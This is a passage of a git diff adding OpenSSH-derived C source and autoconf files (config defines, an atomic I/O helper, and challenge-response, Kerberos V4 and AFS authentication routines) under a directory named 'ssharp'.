+supports at least 12 different OSs. That is already 600 sets of data +to be analysed, without taking into account the numerous differences +between versions of each OS. + +On top of this, the different commands can produce varying amounts of +usable data depending on how busy the machine is, how long it has been +up and various other factors. + +To make matters even more complex, some of the commands are reporting +largely the same data as other commands (eg. the various "ps" calls). + +$Id: WARNING.RNG,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ + diff --git a/other/ssharp/acconfig.h b/other/ssharp/acconfig.h new file mode 100644 index 0000000..178b590 --- /dev/null +++ b/other/ssharp/acconfig.h @@ -0,0 +1,317 @@ +/* $Id: acconfig.h,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ */ + +#ifndef _CONFIG_H +#define _CONFIG_H + +/* Generated automatically from acconfig.h by autoheader. */ +/* Please make your changes there */ + +@TOP@ + +/* Define to a Set Process Title type if your system is */ +/* supported by bsd-setproctitle.c */ +#undef SPT_TYPE + +/* SCO workaround */ +#undef BROKEN_SYS_TERMIO_H +#undef HAVE_BOGUS_SYS_QUEUE_H + +/* Define if you have SCO protected password database */ +#undef HAVE_SCO_PROTECTED_PW + +/* If your header files don't define LOGIN_PROGRAM, then use this (detected) */ +/* from environment and PATH */ +#undef LOGIN_PROGRAM_FALLBACK + +/* Define if your password has a pw_class field */ +#undef HAVE_PW_CLASS_IN_PASSWD + +/* Define if your system's struct sockaddr_un has a sun_len member */ +#undef HAVE_SUN_LEN_IN_SOCKADDR_UN + +/* Define if you system's inet_ntoa is busted (e.g. Irix gcc issue) */ +#undef BROKEN_INET_NTOA + +/* Define if your system defines sys_errlist[] */ +#undef HAVE_SYS_ERRLIST + +/* Define if your system defines sys_nerr */ +#undef HAVE_SYS_NERR + +/* Define if your system choked on IP TOS setting */ +#undef IP_TOS_IS_BROKEN + +/* Define if you have the getuserattr function. */ +#undef HAVE_GETUSERATTR + +/* Work around problematic Linux PAM modules handling of PAM_TTY */ +#undef PAM_TTY_KLUDGE + +/* Use PIPES instead of a socketpair() */ +#undef USE_PIPES + +/* Define if your snprintf is busted */ +#undef BROKEN_SNPRINTF + +/* Define if you are on Cygwin */ +#undef HAVE_CYGWIN + +/* Define if you lack native POSIX regex and you are using PCRE */ +#undef HAVE_LIBPCRE + +/* Define if you have a broken realpath. */ +#undef BROKEN_REALPATH + +/* Define if you are on NeXT */ +#undef HAVE_NEXT + +/* Define if you are on NEWS-OS */ +#undef HAVE_NEWS4 + +/* Define if you want to enable PAM support */ +#undef USE_PAM + +/* Define if you want to enable AIX4's authenticate function */ +#undef WITH_AIXAUTHENTICATE + +/* Define if you have/want arrays (cluster-wide session managment, not C arrays) */ +#undef WITH_IRIX_ARRAY + +/* Define if you want IRIX project management */ +#undef WITH_IRIX_PROJECT + +/* Define if you want IRIX audit trails */ +#undef WITH_IRIX_AUDIT + +/* Define if you want IRIX kernel jobs */ +#undef WITH_IRIX_JOBS + +/* Location of random number pool */ +#undef RANDOM_POOL + +/* Location of PRNGD/EGD random number socket */ +#undef PRNGD_SOCKET + +/* Port number of PRNGD/EGD random number socket */ +#undef PRNGD_PORT + +/* Builtin PRNG command timeout */ +#undef ENTROPY_TIMEOUT_MSEC + +/* Define if you want to install preformatted manpages.*/ +#undef MANTYPE + +/* Define if your ssl headers are included with #include */ +#undef HAVE_OPENSSL + +/* Define if you are linking against RSAref. Used only to print the right + * message at run-time. */ +#undef RSAREF + +/* struct timeval */ +#undef HAVE_STRUCT_TIMEVAL + +/* struct utmp and struct utmpx fields */ +#undef HAVE_HOST_IN_UTMP +#undef HAVE_HOST_IN_UTMPX +#undef HAVE_ADDR_IN_UTMP +#undef HAVE_ADDR_IN_UTMPX +#undef HAVE_ADDR_V6_IN_UTMP +#undef HAVE_ADDR_V6_IN_UTMPX +#undef HAVE_SYSLEN_IN_UTMPX +#undef HAVE_PID_IN_UTMP +#undef HAVE_TYPE_IN_UTMP +#undef HAVE_TYPE_IN_UTMPX +#undef HAVE_TV_IN_UTMP +#undef HAVE_TV_IN_UTMPX +#undef HAVE_ID_IN_UTMP +#undef HAVE_ID_IN_UTMPX +#undef HAVE_EXIT_IN_UTMP +#undef HAVE_TIME_IN_UTMP +#undef HAVE_TIME_IN_UTMPX + +/* Define if you don't want to use your system's login() call */ +#undef DISABLE_LOGIN + +/* Define if you don't want to use pututline() etc. to write [uw]tmp */ +#undef DISABLE_PUTUTLINE + +/* Define if you don't want to use pututxline() etc. to write [uw]tmpx */ +#undef DISABLE_PUTUTXLINE + +/* Define if you don't want to use lastlog */ +#undef DISABLE_LASTLOG + +/* Define if you don't want to use utmp */ +#undef DISABLE_UTMP + +/* Define if you don't want to use utmpx */ +#undef DISABLE_UTMPX + +/* Define if you don't want to use wtmp */ +#undef DISABLE_WTMP + +/* Define if you don't want to use wtmpx */ +#undef DISABLE_WTMPX + +/* Define if you want to specify the path to your lastlog file */ +#undef CONF_LASTLOG_FILE + +/* Define if you want to specify the path to your utmp file */ +#undef CONF_UTMP_FILE + +/* Define if you want to specify the path to your wtmp file */ +#undef CONF_WTMP_FILE + +/* Define if you want to specify the path to your utmpx file */ +#undef CONF_UTMPX_FILE + +/* Define if you want to specify the path to your wtmpx file */ +#undef CONF_WTMPX_FILE + +/* Define is libutil has login() function */ +#undef HAVE_LIBUTIL_LOGIN + +/* Define if you want external askpass support */ +#undef USE_EXTERNAL_ASKPASS + +/* Define if libc defines __progname */ +#undef HAVE___PROGNAME + +/* Define if you want Kerberos 4 support */ +#undef KRB4 + +/* Define if you want AFS support */ +#undef AFS + +/* Define if you want S/Key support */ +#undef SKEY + +/* Define if you want TCP Wrappers support */ +#undef LIBWRAP + +/* Define if your libraries define login() */ +#undef HAVE_LOGIN + +/* Define if your libraries define daemon() */ +#undef HAVE_DAEMON + +/* Define if your libraries define getpagesize() */ +#undef HAVE_GETPAGESIZE + +/* Define if xauth is found in your path */ +#undef XAUTH_PATH + +/* Define if rsh is found in your path */ +#undef RSH_PATH + +/* Define if you want to allow MD5 passwords */ +#undef HAVE_MD5_PASSWORDS + +/* Define if you want to disable shadow passwords */ +#undef DISABLE_SHADOW + +/* Define if you want to use shadow password expire field */ +#undef HAS_SHADOW_EXPIRE + +/* Define if you have Digital Unix Security Integration Architecture */ +#undef HAVE_OSF_SIA + +/* Define if you have getpwanam(3) [SunOS 4.x] */ +#undef HAVE_GETPWANAM + +/* Defined if in_systm.h needs to be included with netinet/ip.h (HPUX - ) */ +#undef NEED_IN_SYSTM_H + +/* Define if you have an old version of PAM which takes only one argument */ +/* to pam_strerror */ +#undef HAVE_OLD_PAM + +/* Define if you are using Solaris-derived PAM which passes pam_messages */ +/* to the conversation function with an extra level of indirection */ +#undef PAM_SUN_CODEBASE + +/* Set this to your mail directory if you don't have maillock.h */ +#undef MAIL_DIRECTORY + +/* Data types */ +#undef HAVE_U_INT +#undef HAVE_INTXX_T +#undef HAVE_U_INTXX_T +#undef HAVE_UINTXX_T +#undef HAVE_INT64_T +#undef HAVE_U_INT64_T +#undef HAVE_SOCKLEN_T +#undef HAVE_SIZE_T +#undef HAVE_SSIZE_T +#undef HAVE_CLOCK_T +#undef HAVE_MODE_T +#undef HAVE_PID_T +#undef HAVE_SA_FAMILY_T +#undef HAVE_STRUCT_SOCKADDR_STORAGE +#undef HAVE_STRUCT_ADDRINFO +#undef HAVE_STRUCT_IN6_ADDR +#undef HAVE_STRUCT_SOCKADDR_IN6 + +/* Fields in struct sockaddr_storage */ +#undef HAVE_SS_FAMILY_IN_SS +#undef HAVE___SS_FAMILY_IN_SS + +/* Define if you have a regcomp() function */ +#undef HAVE_REGCOMP + +/* Define if you have /dev/ptmx */ +#undef HAVE_DEV_PTMX + +/* Define if you have /dev/ptc */ +#undef HAVE_DEV_PTS_AND_PTC + +/* Define if you need to use IP address instead of hostname in $DISPLAY */ +#undef IPADDR_IN_DISPLAY + +/* Specify default $PATH */ +#undef USER_PATH + +/* Specify location of ssh.pid */ +#undef _PATH_SSH_PIDDIR + +/* Use IPv4 for connection by default, IPv6 can still if explicity asked */ +#undef IPV4_DEFAULT + +/* If you have no atexit() but xatexit(), and want to use xatexit() */ +#undef HAVE_XATEXIT + +/* getaddrinfo is broken (if present) */ +#undef BROKEN_GETADDRINFO + +/* Workaround more Linux IPv6 quirks */ +#undef DONT_TRY_OTHER_AF + +/* Detect IPv4 in IPv6 mapped addresses and treat as IPv4 */ +#undef IPV4_IN_IPV6 + +/* Define if you have BSD auth support */ +#undef BSD_AUTH + +/* Define if X11 doesn't support AF_UNIX sockets on that system */ +#undef NO_X11_UNIX_SOCKETS + +/* Needed for SCO and NeXT */ +#undef BROKEN_SAVED_UIDS + +/* Define if your system glob() function has the GLOB_ALTDIRFUNC extension */ +#undef GLOB_HAS_ALTDIRFUNC + +/* Define if your system glob() function has gl_matchc options in glob_t */ +#undef GLOB_HAS_GL_MATCHC + +/* Define in your struct dirent expects you to allocate extra space for d_name */ +#undef BROKEN_ONE_BYTE_DIRENT_D_NAME + +@BOTTOM@ + +/* ******************* Shouldn't need to edit below this line ************** */ + +#include "defines.h" + +#endif /* _CONFIG_H */ diff --git a/other/ssharp/aclocal.m4 b/other/ssharp/aclocal.m4 new file mode 100644 index 0000000..2307d6a --- /dev/null +++ b/other/ssharp/aclocal.m4 @@ -0,0 +1,45 @@ +dnl $Id: aclocal.m4,v 1.1.1.1 2001/09/19 14:44:59 stealth Exp $ +dnl +dnl OpenSSH-specific autoconf macros +dnl + + +dnl OSSH_CHECK_HEADER_FOR_FIELD(field, header, symbol) +dnl Does AC_EGREP_HEADER on 'header' for the string 'field' +dnl If found, set 'symbol' to be defined. Cache the result. +dnl TODO: This is not foolproof, better to compile and read from there +AC_DEFUN(OSSH_CHECK_HEADER_FOR_FIELD, [ +# look for field '$1' in header '$2' + dnl This strips characters illegal to m4 from the header filename + ossh_safe=`echo "$2" | sed 'y%./+-%__p_%'` + dnl + ossh_varname="ossh_cv_$ossh_safe""_has_"$1 + AC_MSG_CHECKING(for $1 field in $2) + AC_CACHE_VAL($ossh_varname, [ + AC_EGREP_HEADER($1, $2, [ dnl + eval "$ossh_varname=yes" dnl + ], [ dnl + eval "$ossh_varname=no" dnl + ]) dnl + ]) + ossh_result=`eval 'echo $'"$ossh_varname"` + if test -n "`echo $ossh_varname`"; then + AC_MSG_RESULT($ossh_result) + if test "x$ossh_result" = "xyes"; then + AC_DEFINE($3) + fi + else + AC_MSG_RESULT(no) + fi +]) + +dnl OSSH_PATH_ENTROPY_PROG(variablename, command): +dnl Tidiness function, sets 'undef' if not found, and does the AC_SUBST +AC_DEFUN(OSSH_PATH_ENTROPY_PROG, [ + AC_PATH_PROG($1, $2) + if test -z "[$]$1" ; then + $1="undef" + fi + AC_SUBST($1) +]) + diff --git a/other/ssharp/atomicio.c b/other/ssharp/atomicio.c new file mode 100644 index 0000000..8287840 --- /dev/null +++ b/other/ssharp/atomicio.c @@ -0,0 +1,62 @@ +/* + * Copyright (c) 1995,1999 Theo de Raadt. All rights reserved. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: atomicio.c,v 1.9 2001/03/02 18:54:30 deraadt Exp $"); + +#include "xmalloc.h" +#include "atomicio.h" + +/* + * ensure all of data on socket comes through. f==read || f==write + */ +ssize_t +atomicio(f, fd, _s, n) + ssize_t (*f) (); + int fd; + void *_s; + size_t n; +{ + char *s = _s; + ssize_t res, pos = 0; + + while (n > pos) { + res = (f) (fd, s + pos, n - pos); + switch (res) { + case -1: +#ifdef EWOULDBLOCK + if (errno == EINTR || errno == EAGAIN || errno == EWOULDBLOCK) +#else + if (errno == EINTR || errno == EAGAIN) +#endif + continue; + case 0: + return (res); + default: + pos += res; + } + } + return (pos); +} diff --git a/other/ssharp/atomicio.h b/other/ssharp/atomicio.h new file mode 100644 index 0000000..d878687 --- /dev/null +++ b/other/ssharp/atomicio.h @@ -0,0 +1,31 @@ +/* $OpenBSD: atomicio.h,v 1.3 2001/03/02 18:54:30 deraadt Exp $ */ + +/* + * Copyright (c) 1995,1999 Theo de Raadt. All rights reserved. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Ensure all of data on socket comes through. f==read || f==write + */ +ssize_t atomicio(ssize_t (*f)(), int fd, void *s, size_t n); diff --git a/other/ssharp/auth-chall.c b/other/ssharp/auth-chall.c new file mode 100644 index 0000000..f3502f4 --- /dev/null +++ b/other/ssharp/auth-chall.c @@ -0,0 +1,104 @@ +/* + * Copyright (c) 2001 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-chall.c,v 1.7 2001/04/05 10:42:47 markus Exp $"); + +#include "auth.h" +#include "log.h" + +#ifdef BSD_AUTH +char * +get_challenge(Authctxt *authctxt, char *devs) +{ + char *challenge; + + if (authctxt->as != NULL) { + debug2("try reuse session"); + challenge = auth_getitem(authctxt->as, AUTHV_CHALLENGE); + if (challenge != NULL) { + debug2("reuse bsd auth session"); + return challenge; + } + auth_close(authctxt->as); + authctxt->as = NULL; + } + debug2("new bsd auth session"); + if (devs == NULL || strlen(devs) == 0) + devs = authctxt->style; + debug3("bsd auth: devs %s", devs ? devs : ""); + authctxt->as = auth_userchallenge(authctxt->user, devs, "auth-ssh", + &challenge); + if (authctxt->as == NULL) + return NULL; + debug2("get_challenge: <%s>", challenge ? challenge : "EMPTY"); + return challenge; +} +int +verify_response(Authctxt *authctxt, char *response) +{ + int authok; + + if (authctxt->as == 0) + error("verify_response: no bsd auth session"); + authok = auth_userresponse(authctxt->as, response, 0); + authctxt->as = NULL; + debug("verify_response: <%s> = <%d>", response, authok); + return authok != 0; +} +#else +#ifdef SKEY +#include + +char * +get_challenge(Authctxt *authctxt, char *devs) +{ + static char challenge[1024]; + struct skey skey; + if (skeychallenge(&skey, authctxt->user, challenge) == -1) + return NULL; + strlcat(challenge, "\nS/Key Password: ", sizeof challenge); + return challenge; +} +int +verify_response(Authctxt *authctxt, char *response) +{ + return (authctxt->valid && + skey_haskey(authctxt->pw->pw_name) == 0 && + skey_passcheck(authctxt->pw->pw_name, response) != -1); +} +#else +/* not available */ +char * +get_challenge(Authctxt *authctxt, char *devs) +{ + return NULL; +} +int +verify_response(Authctxt *authctxt, char *response) +{ + return 0; +} +#endif +#endif diff --git a/other/ssharp/auth-krb4.c b/other/ssharp/auth-krb4.c new file mode 100644 index 0000000..8bb6e3d --- /dev/null +++ b/other/ssharp/auth-krb4.c @@ -0,0 +1,391 @@ +/* + * Copyright (c) 1999 Dug Song. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" +RCSID("$OpenBSD: auth-krb4.c,v 1.23 2001/01/22 08:15:00 markus Exp $"); + +#include "ssh.h" +#include "ssh1.h" +#include "packet.h" +#include "xmalloc.h" +#include "log.h" +#include "servconf.h" +#include "auth.h" + +#ifdef AFS +#include "radix.h" +#endif + +#ifdef KRB4 +char *ticket = NULL; + +extern ServerOptions options; + +/* + * try krb4 authentication, + * return 1 on success, 0 on failure, -1 if krb4 is not available + */ + +int +auth_krb4_password(struct passwd * pw, const char *password) +{ + AUTH_DAT adata; + KTEXT_ST tkt; + struct hostent *hp; + u_long faddr; + char localhost[MAXHOSTNAMELEN]; + char phost[INST_SZ]; + char realm[REALM_SZ]; + int r; + + /* + * Try Kerberos password authentication only for non-root + * users and only if Kerberos is installed. + */ + if (pw->pw_uid != 0 && krb_get_lrealm(realm, 1) == KSUCCESS) { + + /* Set up our ticket file. */ + if (!krb4_init(pw->pw_uid)) { + log("Couldn't initialize Kerberos ticket file for %s!", + pw->pw_name); + goto kerberos_auth_failure; + } + /* Try to get TGT using our password. */ + r = krb_get_pw_in_tkt((char *) pw->pw_name, "", + realm, "krbtgt", realm, + DEFAULT_TKT_LIFE, (char *) password); + if (r != INTK_OK) { + packet_send_debug("Kerberos V4 password " + "authentication for %s failed: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } + /* Successful authentication. */ + chown(tkt_string(), pw->pw_uid, pw->pw_gid); + + /* + * Now that we have a TGT, try to get a local + * "rcmd" ticket to ensure that we are not talking + * to a bogus Kerberos server. + */ + (void) gethostname(localhost, sizeof(localhost)); + (void) strlcpy(phost, (char *) krb_get_phost(localhost), + INST_SZ); + r = krb_mk_req(&tkt, KRB4_SERVICE_NAME, phost, realm, 33); + + if (r == KSUCCESS) { + if (!(hp = gethostbyname(localhost))) { + log("Couldn't get local host address!"); + goto kerberos_auth_failure; + } + memmove((void *) &faddr, (void *) hp->h_addr, + sizeof(faddr)); + + /* Verify our "rcmd" ticket. */ + r = krb_rd_req(&tkt, KRB4_SERVICE_NAME, phost, + faddr, &adata, ""); + if (r == RD_AP_UNDEC) { + /* + * Probably didn't have a srvtab on + * localhost. Disallow login. + */ + log("Kerberos V4 TGT for %s unverifiable, " + "no srvtab installed? krb_rd_req: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } else if (r != KSUCCESS) { + log("Kerberos V4 %s ticket unverifiable: %s", + KRB4_SERVICE_NAME, krb_err_txt[r]); + goto kerberos_auth_failure; + } + } else if (r == KDC_PR_UNKNOWN) { + /* + * Disallow login if no rcmd service exists, and + * log the error. + */ + log("Kerberos V4 TGT for %s unverifiable: %s; %s.%s " + "not registered, or srvtab is wrong?", pw->pw_name, + krb_err_txt[r], KRB4_SERVICE_NAME, phost); + goto kerberos_auth_failure; + } else { + /* + * TGT is bad, forget it. Possibly spoofed! + */ + packet_send_debug("WARNING: Kerberos V4 TGT " + "possibly spoofed for %s: %s", + pw->pw_name, krb_err_txt[r]); + goto kerberos_auth_failure; + } + + /* Authentication succeeded. */ + return 1; + +kerberos_auth_failure: + krb4_cleanup_proc(NULL); + + if (!options.kerberos_or_local_passwd) + return 0; + } else { + /* Logging in as root or no local Kerberos realm. */ + packet_send_debug("Unable to authenticate to Kerberos."); + } + /* Fall back to ordinary passwd authentication. */ + return -1; +} + +void +krb4_cleanup_proc(void *ignore) +{ + debug("krb4_cleanup_proc called"); + if (ticket) { + (void) dest_tkt(); + xfree(ticket); + ticket = NULL; + } +} + +int +krb4_init(uid_t uid) +{ + static int cleanup_registered = 0; + const char *tkt_root = TKT_ROOT; + struct stat st; + int fd; + + if (!ticket) { + /* Set unique ticket string manually since we're still root. */ + ticket = xmalloc(MAXPATHLEN); +#ifdef AFS + if (lstat("/ticket", &st) != -1) + tkt_root = "/ticket/"; +#endif /* AFS */ + snprintf(ticket, MAXPATHLEN, "%s%u_%d", tkt_root, uid, getpid()); + (void) krb_set_tkt_string(ticket); + } + /* Register ticket cleanup in case of fatal error. */ + if (!cleanup_registered) { + fatal_add_cleanup(krb4_cleanup_proc, NULL); + cleanup_registered = 1; + } + /* Try to create our ticket file. */ + if ((fd = mkstemp(ticket)) != -1) { + close(fd); + return 1; + } + /* Ticket file exists - make sure user owns it (just passed ticket). */ + if (lstat(ticket, &st) != -1) { + if (st.st_mode == (S_IFREG | S_IRUSR | S_IWUSR) && + st.st_uid == uid) + return 1; + } + /* Failure - cancel cleanup function, leaving bad ticket for inspection. */ + log("WARNING: bad ticket file %s", ticket); + fatal_remove_cleanup(krb4_cleanup_proc, NULL); + cleanup_registered = 0; + xfree(ticket); + ticket = NULL; + + return 0; +} + +int +auth_krb4(const char *server_user, KTEXT auth, char **client) +{ + AUTH_DAT adat = {0}; + KTEXT_ST reply; + char instance[INST_SZ]; + int r, s; + socklen_t slen; + u_int cksum; + Key_schedule schedule; + struct sockaddr_in local, foreign; + + s = packet_get_connection_in(); + + slen = sizeof(local); + memset(&local, 0, sizeof(local)); + if (getsockname(s, (struct sockaddr *) & local, &slen) < 0) + debug("getsockname failed: %.100s", strerror(errno)); + slen = sizeof(foreign); + memset(&foreign, 0, sizeof(foreign)); + if (getpeername(s, (struct sockaddr *) & foreign, &slen) < 0) { + debug("getpeername failed: %.100s", strerror(errno)); + fatal_cleanup(); + } + instance[0] = '*'; + instance[1] = 0; + + /* Get the encrypted request, challenge, and session key. */ + if ((r = krb_rd_req(auth, KRB4_SERVICE_NAME, instance, 0, &adat, ""))) { + packet_send_debug("Kerberos V4 krb_rd_req: %.100s", krb_err_txt[r]); + return 0; + } + des_key_sched((des_cblock *) adat.session, schedule); + + *client = xmalloc(MAX_K_NAME_SZ); + (void) snprintf(*client, MAX_K_NAME_SZ, "%s%s%s@%s", adat.pname, + *adat.pinst ? "." : "", adat.pinst, adat.prealm); + + /* Check ~/.klogin authorization now. */ + if (kuserok(&adat, (char *) server_user) != KSUCCESS) { + packet_send_debug("Kerberos V4 .klogin authorization failed!"); + log("Kerberos V4 .klogin authorization failed for %s to account %s", + *client, server_user); + xfree(*client); + return 0; + } + /* Increment the checksum, and return it encrypted with the + session key. */ + cksum = adat.checksum + 1; + cksum = htonl(cksum); + + /* If we can't successfully encrypt the checksum, we send back an + empty message, admitting our failure. */ + if ((r = krb_mk_priv((u_char *) & cksum, reply.dat, sizeof(cksum) + 1, + schedule, &adat.session, &local, &foreign)) < 0) { + packet_send_debug("Kerberos V4 mk_priv: (%d) %s", r, krb_err_txt[r]); + reply.dat[0] = 0; + reply.length = 0; + } else + reply.length = r; + + /* Clear session key. */ + memset(&adat.session, 0, sizeof(&adat.session)); + + packet_start(SSH_SMSG_AUTH_KERBEROS_RESPONSE); + packet_put_string((char *) reply.dat, reply.length); + packet_send(); + packet_write_wait(); + return 1; +} +#endif /* KRB4 */ + +#ifdef AFS +int +auth_kerberos_tgt(struct passwd *pw, const char *string) +{ + CREDENTIALS creds; + + if (pw == NULL) + goto auth_kerberos_tgt_failure; + if (!radix_to_creds(string, &creds)) { + log("Protocol error decoding Kerberos V4 tgt"); + packet_send_debug("Protocol error decoding Kerberos V4 tgt"); + goto auth_kerberos_tgt_failure; + } + if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ + strlcpy(creds.service, "krbtgt", sizeof creds.service); + + if (strcmp(creds.service, "krbtgt")) { + log("Kerberos V4 tgt (%s%s%s@%s) rejected for %s", creds.pname, + creds.pinst[0] ? "." : "", creds.pinst, creds.realm, + pw->pw_name); + packet_send_debug("Kerberos V4 tgt (%s%s%s@%s) rejected for %s", + creds.pname, creds.pinst[0] ? "." : "", creds.pinst, + creds.realm, pw->pw_name); + goto auth_kerberos_tgt_failure; + } + if (!krb4_init(pw->pw_uid)) + goto auth_kerberos_tgt_failure; + + if (in_tkt(creds.pname, creds.pinst) != KSUCCESS) + goto auth_kerberos_tgt_failure; + + if (save_credentials(creds.service, creds.instance, creds.realm, + creds.session, creds.lifetime, creds.kvno, + &creds.ticket_st, creds.issue_date) != KSUCCESS) { + packet_send_debug("Kerberos V4 tgt refused: couldn't save credentials"); + goto auth_kerberos_tgt_failure; + } + /* Successful authentication, passed all checks. */ + chown(tkt_string(), pw->pw_uid, pw->pw_gid); + + packet_send_debug("Kerberos V4 tgt accepted (%s.%s@%s, %s%s%s@%s)", + creds.service, creds.instance, creds.realm, creds.pname, + creds.pinst[0] ? "." : "", creds.pinst, creds.realm); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + return 1; + +auth_kerberos_tgt_failure: + krb4_cleanup_proc(NULL); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; +} + +int +auth_afs_token(struct passwd *pw, const char *token_string) +{ + CREDENTIALS creds; + uid_t uid; + + if (pw == NULL) { + /* XXX fake protocol error */ + packet_send_debug("Protocol error decoding AFS token"); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + if (!radix_to_creds(token_string, &creds)) { + log("Protocol error decoding AFS token"); + packet_send_debug("Protocol error decoding AFS token"); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + if (strncmp(creds.service, "", 1) == 0) /* backward compatibility */ + strlcpy(creds.service, "afs", sizeof creds.service); + + if (strncmp(creds.pname, "AFS ID ", 7) == 0) + uid = atoi(creds.pname + 7); + else + uid = pw->pw_uid; + + if (kafs_settoken(creds.realm, uid, &creds)) { + log("AFS token (%s@%s) rejected for %s", creds.pname, creds.realm, + pw->pw_name); + packet_send_debug("AFS token (%s@%s) rejected for %s", creds.pname, + creds.realm, pw->pw_name); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_FAILURE); + packet_send(); + packet_write_wait(); + return 0; + } + packet_send_debug("AFS token accepted (%s@%s, %s@%s)", creds.service, + creds.realm, creds.pname, creds.realm); + memset(&creds, 0, sizeof(creds)); + packet_start(SSH_SMSG_SUCCESS); + packet_send(); + packet_write_wait(); + return 1; +} +#endif /* AFS */ diff 